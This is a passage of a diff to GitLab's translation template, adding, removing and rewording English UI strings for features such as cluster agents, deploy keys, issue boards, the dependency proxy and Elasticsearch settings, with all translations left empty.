@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
